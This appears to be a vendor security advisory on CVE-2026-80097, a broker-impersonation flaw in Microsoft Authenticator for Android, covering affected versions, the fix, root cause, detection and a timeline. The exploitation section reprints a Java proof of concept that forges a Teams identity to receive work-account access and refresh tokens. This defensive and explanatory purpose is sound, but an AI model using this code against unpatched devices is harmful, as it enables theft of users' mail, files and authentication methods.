AuthMask: Microsoft Authenticator for Android Token Theft (CVE-2026-80097)

TL;DR

• Microsoft Authenticator for Android acts as an authentication broker for other Microsoft apps. In versions before 6.2606.4246, one exported activity let any app on the device, with zero permissions, claim to be an installed Microsoft app such as Teams and receive the work account's tokens under that app's client identity, including access and refresh tokens, in plaintext. The researcher's demonstration is called AuthMask; the flaw is CVE-2026-80097.
• Every device with Microsoft Authenticator for Android below 6.2606.4246 and a work account signed in is in scope. It has a CVSS v3.1 base score of 8.6, High (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C), and Microsoft's own severity rating is Important.
• Microsoft states the flaw has not been exploited and was not publicly disclosed before the fix, and the CISA ADP assessment records Exploitation: none. The flaw is not in the CISA KEV catalog as of October 27, 2026. A public proof of concept, published by the researcher on October 23, 2026, demonstrates the full chain. The vector's E:U (Unproven) exploit-maturity value dates from Microsoft's September 8 scoring, before that proof of concept was public.
• Update Microsoft Authenticator for Android to 6.2606.4246 or later. Organizations managing Android devices can require that minimum version through device management.

Am I affected?

Your device is vulnerable if both of these hold:

• The device runs Microsoft Authenticator for Android (package com.azure.authenticator) at a version before 6.2606.4246.
• A work account is signed into Authenticator on that device, because the broker hands out tokens for the signed-in account.

Exploiting it additionally requires a malicious app installed on the device. That is the attacker's precondition, not a condition of being vulnerable: the proof of concept app held zero permissions, and the attack is launched from that app, not from a website.

You are not affected by this flaw if the device runs 6.2606.4246 or later. When checked on October 27, 2026, the Google Play listing carried version 6.2609.6214, updated October 26. The flaw lives in the Android app's broker implementation; the published advisory and research address the Android app, and none of the available sources makes a statement about other platforms.

The app's Google Play listing shows 100M+ downloads (checked October 27, 2026). Microsoft's Android SSO documentation identifies Authenticator as an authentication broker: apps can use it to obtain tokens and share sign-in across the device.

Check the version you run:

• On the device: open Android Settings, then Apps, then Microsoft Authenticator, and read the version shown in the App info screen. The in-app About screen shows the same value.
• On a managed fleet: read the reported app version for com.azure.authenticator from your device management inventory and require 6.2606.4246 or later.

How do I fix it?

Update Microsoft Authenticator for Android from Google Play, and verify the installed version is 6.2606.4246 or later. On a managed fleet, require that minimum version through your device management platform so devices that lag behind cannot stay signed in.

The available sources stop at the fix: Microsoft's advisory, as reported by The Hacker News, does not say whether updating revokes tokens a malicious app may already have collected, and the researcher's disclosure does not cover it either.

Treat any device that ran a pre-fix build alongside an unrecognized app as exposed. Have an administrator select the user in Entra ID > Users > All users and choose Revoke sessions, following Microsoft's access-revocation guidance. This revokes refresh tokens; existing access tokens can remain valid until expiry. Rotate any credentials that those sessions could have exposed.

There is no configuration workaround short of updating: the flaw is in the broker's validation logic, so no Authenticator setting changes the behavior.

What is the root cause?

The broker's token request was built entirely from values the calling app supplied, and its signature check validated the claimed identity against data the caller also controlled. Because both halves of the check traced back to the same caller, a zero-permission app could pose as any installed Microsoft app and pass.

The chain, from the researcher's disclosure on the vulnerable build, has three parts.

First, the entry point is open to every app. Authenticator exposes the activity com.microsoft.identity.client.AccountChooserActivity, marked android:exported="true", so any app on the device can start it. Its only gate is that getCallingActivity() is not null, which any caller using startActivityForResult satisfies.

Second, the request is attacker-written. The activity reads intent extras straight into its account chooser, and the broker request is built from them: the caller's UID comes from the caller.info.uid extra, and the app name, package name, client ID, redirect URI and scopes all come from the broker_request_v2 JSON extra. The disclosure's summary is blunt: the caller's identity was never used for any trust decision.

Third, the validation confirms the caller's own story. BrokerInteractiveTokenCommandParameters.validate() calls:

platformUtil.isValidCallingApp(getRedirectUri(), getCallerPackageName());

and isValidCallingApp computes the redirect URI that the claimed package should use, from that package's installed signature, and compares it with the redirect URI the caller sent:

String brokerRedirectUri = PackageHelper.getBrokerRedirectUri(this.mContext, claimedPackage);
return StringUtil.equalsIgnoreCase(claimedRedirect, brokerRedirectUri);

Because the impersonated app is genuinely installed, its real signature is readable through PackageManager, so the attacker reads it, builds the genuine redirect URI, and puts it in the request. The check then passes. Authenticator had a second answer available, the real caller from getCallingActivity().getPackageName(), but used it only for bookkeeping, never for the trust decision.

How is it exploited?

The attacker's app reads the impersonated app's signature, builds a broker request that claims to be that app, launches the exported activity, and receives the tokens in its own onActivityResult.

The published proof of concept, posing as Teams:

int uid = getPackageManager().getApplicationInfo("com.microsoft.teams", 0).uid; // read Teams' uid
String redirect = "msauth://com.microsoft.teams/" + urlEncode(sha1OfInstalledSig("com.microsoft.teams"));

JSONObject req = new JSONObject();           // broker_request_v2, all attacker-controlled
req.put("client_app_name", "com.microsoft.teams");
req.put("client_id", "1fec8e78-bce4-4aaf-ab1b-5451cc387264");
req.put("redirect_uri", redirect);
req.put("scopes", "https://graph.microsoft.com/.default");
req.put("authority", "https://login.microsoftonline.com/organizations");
req.put("username", "<victim-upn>");        // the victim's UPN

Intent i = new Intent();
i.setClassName("com.azure.authenticator", "com.microsoft.identity.client.AccountChooserActivity");
i.putExtra("caller.info.uid", uid);          // spoofed caller uid
i.putExtra("common.broker.protocol.version.name", "20.0");
i.putExtra("broker_request_v2", req.toString());
startActivityForResult(i, 1);                // tokens come back to onActivityResult

As numbered steps:

1. The attacker's app, holding zero permissions, reads the UID and the installed signature of the Microsoft app it wants to impersonate, here Teams.
2. It builds the msauth:// redirect URI from that signature, so the broker's own validation will reproduce the same value, and writes the client ID, scopes and the victim's username into the broker_request_v2 extra.
3. It launches the exported AccountChooserActivity with startActivityForResult and a spoofed caller.info.uid. That call gives the activity a calling activity, so getCallingActivity() is not null and the activity's only gate passes.
4. Validation compares the attacker-supplied redirect URI against the URI derived from the claimed package's installed signature. Both sides are the same value, so the check passes, and no step ever confirms that the requesting app is actually Teams.
5. The activity returns the broker result to whoever launched it, a bundle holding access_token, refresh_token, id_token and client_info in plaintext, which the attacker's app can parse.

Attack flow diagram

What can an attacker do?

The attacker obtains tokens for the work account signed into Authenticator on that device, with whatever delegated permissions the impersonated app's client ID carries.

The researcher measured three impersonations and their scopes:

• Posing as Teams and requesting Microsoft Graph (graph.microsoft.com/.default): Mail.ReadWrite, Mail.Send, Files.ReadWrite.All, Calendars.ReadWrite, ChatMessage.Send, Sites.ReadWrite.All and more, which the researcher summarizes as full delegated mailbox, files and calendar access.
• Posing as the Teams chat backend (api.spaces.skype.com): user_impersonation.
• Posing as Authenticator's own client: UserAuthenticationMethod.ReadWrite, Passkey.Create, Passkey.Delete.

Microsoft and the researcher agree on two preconditions: a malicious app installed on the device and a work account signed into Authenticator. They differ on the interaction required:

• Microsoft: The advisory, as reported by The Hacker News, requires the victim to complete a sign-in step in Authenticator. Microsoft's CVSS vector encodes user interaction as required (UI:R).
• Researcher: The proof of concept returned tokens without further user interaction once the broker had a signed-in work account.

For triage, treat a targeted device with an unknown app installed as exposed regardless of which description applies.

How do I verify the fix?

The fix is the app update to 6.2606.4246 or later. According to the researcher's disclosure, Microsoft fixed the flaw, and versions before 6.2606.4246 are affected. On a fixed build, a caller must not be able to obtain another app's tokens by supplying that app's identity and redirect URI.

The public disclosure does not include a patch diff, so it does not establish the exact validation change in the fixed build. It shows that the vulnerable broker knew the real calling package from getCallingActivity() but trusted the claimed identity from request extras instead.

A defender can check the expected behavior on a test device after updating: the disclosed impersonation request must not return the work account's tokens to the attacking app. This is a verification criterion, not a claim about the unpublished patch implementation.

How do I check if I was compromised?

No indicators of compromise, attacker package names or hash lists have been published for this flaw as of October 27, 2026, and Microsoft's advisory provides no detection guidance in the available sources. The checks below are what the public material supports.

• On the device: review installed apps for anything unrecognized, especially anything sideloaded, and check the Authenticator version to bound the exposure window.
• In the work account's sign-in and audit logs: look for unexpected client applications receiving delegated permissions such as Mail.ReadWrite, Files.ReadWrite.All, Calendars.ReadWrite or UserAuthenticationMethod.ReadWrite.
• In the same logs: look for consent or token issuance events that name Teams' client ID from devices that have no Teams session.
• If an unrecognized app coexisted with a pre-6.2606.4246 Authenticator, assume the account's tokens were reachable and revoke its active sessions and refresh tokens rather than waiting for evidence.

Timeline

• 2026-09-08: Microsoft publishes CVE-2026-80097 (CVE record datePublished) with the fix in Microsoft Authenticator for Android 6.2606.4246. The researcher had reported the issue to MSRC before this date, and the release date of the fixed app version is not stated in the available sources.
• 2026-10-23: Enclave publishes the AuthMask technical disclosure with the full proof of concept, credited to researcher Ofek Levin through the Enclave Fellowship Program.
• 2026-10-26: the Google Play listing is updated to version 6.2609.6214 (checked October 27, 2026).
• 2026-10-27: The Hacker News publishes its coverage of the flaw and the advisory's fix guidance; this post follows, and the CISA ADP assessment on the CVE record states Exploitation: none.

FAQ

Is the iOS app affected?

The available sources do not say. The advisory, the researcher's disclosure and the press coverage all address Microsoft Authenticator for Android, and the attack chain is built from Android primitives: an exported activity, PackageManager signature reads and the MSAL Android broker protocol. No source makes a claim about the iOS app in either direction, so treat this as an Android fix and watch for any vendor statement on other platforms.

Did the victim need to tap anything?

Microsoft and the researcher disagree. Microsoft's advisory says exploitation requires the victim to complete a sign-in step in Authenticator, and its CVSS vector encodes user interaction as required. The researcher reports the proof of concept returned tokens with no interaction beyond a signed-in work account on a device with the broker present. Both agree on the preconditions that matter for triage: a malicious app installed and a signed-in work account.

If a token was already stolen, does updating the app revoke it?

The available sources do not say. Microsoft's advisory gives the fixed version but, as The Hacker News reports, does not state whether updating cancels tokens a malicious app already collected. If you have a reason to suspect collection, revoke the account's sessions and refresh tokens directly rather than relying on the update.

Why is this rated High and Important rather than Critical?

Two scales are involved: the CVSS v3.1 base score of 8.6 falls in the High band (7.0 to 8.9), and Important is Microsoft's own severity rating. On the CVSS side, the attack is local: the attacker first needs an app installed on the device, which the vector encodes as AV:L, and Microsoft encodes user interaction as required, which lowers the score further. CISA's ADP assessment records Exploitation: none, Automatable: no and Technical Impact: total. The local vector means the attack cannot be launched remotely against a fleet.

Was it exploited in the wild?

No. Microsoft states the flaw has not been used in attacks and was not publicly disclosed before the fix, and rates exploitation as less likely. The CISA ADP assessment records Exploitation: none, and the CVE is not in the CISA KEV catalog as of October 27, 2026.

Does removing the malicious app fix it?

It removes the attacker's presence but not the risk already taken. Any tokens collected before removal remain valid until they expire or are revoked, so review the account's activity and revoke sessions alongside removing the app, then update Authenticator so the same chain cannot run again.

Review your own Android app's broker handling with Ostorlab

Run an Ostorlab mobile scan against your published Android apps, then review exported activities that use intent extras to make trust decisions. Check that each activity verifies the real caller before returning tokens or other sensitive data. That caller check is the boundary AuthMask failed to enforce.

References

• Enclave, "AuthMask: We Made Microsoft Authenticator Hand Over Tokens to an App With Zero Permissions", October 23, 2026, researcher Ofek Levin via the Enclave Fellowship Program: the exported AccountChooserActivity, the caller-supplied broker request, the self-confirming signature check, the full proof of concept, the measured scopes and the fix version: https://enclave.ai/blog/authmask-we-made-microsoft-authenticator-hand-over-tokens (checked October 27, 2026)
• Microsoft Security Response Center advisory for CVE-2026-80097, published September 8, 2026: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-80097 (JS-rendered page; advisory contents taken from the CVE record and The Hacker News coverage below)
• CVE-2026-80097 record, CNA Microsoft, published September 8, 2026, "Improper authentication in Microsoft Authenticator allows an unauthorized attacker to elevate privileges locally", CVSS v3.1 8.6 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C), with the CISA ADP SSVC assessment Exploitation: none, Automatable: no, Technical Impact: total: https://cveawg.mitre.org/api/cve/CVE-2026-80097 (checked October 27, 2026)
• The Hacker News, "Microsoft Authenticator Flaw Let Permissionless Android Apps Steal Work Account Tokens", October 27, 2026, quoting Microsoft's advisory on the fix version 6.2606.4246, the sign-in-step precondition, the no-exploitation status, the Important 8.6 rating, the September Patch Tuesday context and the device-management fix path: https://thehackernews.com/2026/10/microsoft-authenticator-flaw-let.html (checked October 27, 2026)
• Microsoft Authenticator for Android Google Play listing, com.azure.authenticator, 100M+ downloads, current version 6.2609.6214 updated October 26, 2026: https://play.google.com/store/apps/details?id=com.azure.authenticator (checked October 27, 2026)
• CISA Known Exploited Vulnerabilities catalog, checked for CVE-2026-80097 on October 27, 2026 (not listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog